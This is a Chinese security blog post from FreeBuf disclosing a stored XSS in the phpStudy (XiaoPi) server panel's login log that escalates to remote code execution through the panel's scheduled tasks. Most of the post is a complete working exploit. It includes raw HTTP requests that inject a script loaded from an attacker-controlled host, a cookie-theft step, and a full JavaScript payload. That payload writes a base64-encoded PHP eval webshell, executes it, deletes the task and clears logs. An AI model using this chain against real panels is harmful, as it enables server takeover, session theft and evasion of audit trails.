phpstudy后台管理页面利用存储型XSS实现one click RCE 2023-02-07 18:58:00 所属地 江苏省 ![](https://image.3001.net/images/20240308/1709876354_65eaa4828e91d155430d9.png) 本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载 一、漏洞介绍 ------ phpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。phpStudy面板存在存储型XSS漏洞,攻击者可以通过JS调用面板中的计划任务执行系统命令。(文末附poc) 二、受影响的版本 -------- * 小皮windows面板V0.102以及以下版本(目前官网最新版) * 小皮linux面板X1.29以及以下版本(目前官网最新版) 三、漏洞复现 ------ 1、下载小皮面板 官方下载地址:[https://www.xp.cn/](https://www.xp.cn/) 2、安装完成后来到登录页面,复制好相关后台连接和用户名密码后进行正常登录。 ![image](https://image.3001.net/images/20230207/1675759427_63e20f43a355ed18be1a0.png) 登录处验证代码如下: // 登录 public static function login($username,$pwd,$verifycode){ if($username==''){ return array('code'=>1,'msg'=>'用户名不能为空'); } if($pwd == ''){ return array('code'=>1,'msg'=>'密码不能为空'); } if(!sessionStarted()){ sessionStart(); } if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){ return array('code'=>1,'msg'=>'验证码不正确'); } $request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd))); $res = Socket::request($request); if(!$res){ return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务'); } $res = json_decode($res,true); if($res['result'] == -1){ return array('code'=>300,'msg'=>$res['msg']); } if($res['result'] == 0){ return array('code'=>1,'msg'=>$res['msg']); } //token校验 $_SESSION['this_token'] = $res['token']; // $access_token = md5(time()).md5(rand(1,100)); $access_token = $res['token']; $_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token); $res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']); return $res; } ### 漏洞验证 在用户名处插入xss语句,验证码需要写对,不然走不到后面的步骤,进行登录,产生登录日志 使用弹窗payload进行测试 ![image](https://image.3001.net/images/20230207/1675759428_63e20f44dc5dbb7843ddf.png) 日志会记录登录失败的用户名,并在登录后将尝试的用户名直接显示在小皮首页当中,而这个过程是没有过滤的,也就可以进行任意xss。 当管理员登录了面板就会触发xss。 ![image](https://image.3001.net/images/20230207/1675759429_63e20f45ba261ec56499f.png) ![image](https://image.3001.net/images/20230207/1675759430_63e20f46ae76b6a13b26a.png) ### 利用xss平台获取cookies ![image](https://image.3001.net/images/20230207/1675759431_63e20f47c6c7f1add80c0.png) 在用户名处插入,待管理员登录后台后即可触发。 ![image](https://image.3001.net/images/20230207/1675759433_63e20f491cee8863460ab.png) 最后返回我们的xss平台,发现小皮面板的登录cookie已经被我们的xss平台接收到了。 ![image](https://image.3001.net/images/20230207/1675759434_63e20f4a252c592244d13.png) ### 进一步利用 要实现rce的话可以配合小皮自带的计划任务,实现后台添加计划任务实现写webshell、反弹shell等操作,这些交给js就可以实现自动化完成。 其中获取日志的代码如下 ![](https://image.3001.net/images/20230207/1675759434_63e20f4aef3f3393bd311.png) **js代码内容:** 1、添加计划任务,用户名不能重复,所以可以直接在js中生成随机字符串 2、获取刚刚添加的任务ID 3、请求立即执行 4、删除刚刚添加的计划任务 5、清空日志,避免重复触发 构造payload: POST /service/app/account.php HTTP/1.1 Host: 192.168.88.129:9080 Content-Length: 132 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.88.129:9080 Referer: http://192.168.88.129:9080/EC9C0E Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=f722243f74f8d841603096bd Connection: close type=login&username=%3Cscript+src%3D%22http%3A%2F%2F192.168.88.130%3A6543%2Fphpstudy.js%22%3E%3C%2Fscript%3E&password=111&verifycode=hzuB 1、添加任务 POST /service/app/tasks.php?type=save_shell HTTP/1.1 Host: 192.168.88.129:9080 Content-Length: 79 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.88.129:9080 Referer: http://192.168.88.129:9080/EC9C0E Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=f722243f74f8d841603096bd Connection: close task_id=&title=shell_title&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > /root/webshel.php 2、获取计划任务列表 GET /service/app/tasks.php?type=task_list HTTP/1.1 Host: 192.168.88.137:9080 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://192.168.88.137:9080/6BE769 Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1 Connection: close 3、执行计划任务 POST /service/app/tasks.php?type=exec_task HTTP/1.1 Host: 192.168.88.129:9080 Content-Length: 5 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.88.129:9080 Referer: http://192.168.88.129:9080/EC9C0E Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=f722243f74f8d841603096bd Connection: close tid=1 4、删除计划任务 POST /service/app/tasks.php?type=del_task HTTP/1.1 Host: 192.168.88.137:9080 Content-Length: 5 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.88.137:9080 Referer: http://192.168.88.137:9080/6BE769 Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1 Connection: close tid=1 5、清理操作日志记录 POST /service/app/log.php?type=clearlog HTTP/1.1 Host: 192.168.88.137:9080 Content-Length: 13 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.88.137:9080 Referer: http://192.168.88.137:9080/6BE769 Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=bd39b63e7cf8d8412a87d1a1 Connection: close type=clearlog phpstudy\_rce.js function exp() { $.ajax({ url: '/service/app/tasks.php?type=task_list', //获取计划任务列表 type: 'GET', headers:{ "X-Requested-With": "XMLHttpRequest" }, dataType: 'json', success: function (data) { var id = data.data[0].ID; //任务名称 $.ajax({ url: '/service/app/tasks.php?type=exec_task', //执行计划任务 type: 'POST', headers:{ "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" }, data: { tid: id }, dataType: 'json', success: function (res) { $.ajax({ url: '/service/app/log.php?type=clearlog', type: 'POST', data: { type: 'clearlog' }, dataType: 'json', success: function (res2) {} }); } }); } }); } function save() { var data = new Object(); data.task_id = ''; data.title = 'shell_title'; data.exec_cycle = '5'; data.week = '1'; data.day = '3'; data.hour = '1'; data.minute = '1'; data.shell = 'echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > /root/webshel.php'; $.ajax({ url: '/service/app/tasks.php?type=save_shell', type: 'POST', headers:{ "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" }, data: data, dataType: 'json', success: function (res) { exp(); } }); } save(); ![图片.png](https://image.3001.net/images/20230207/1675767008_63e22ce04a467f1b3ab82.png) \# 漏洞 \# 渗透测试 \# web安全 \# 漏洞分析 \# 网络安全技术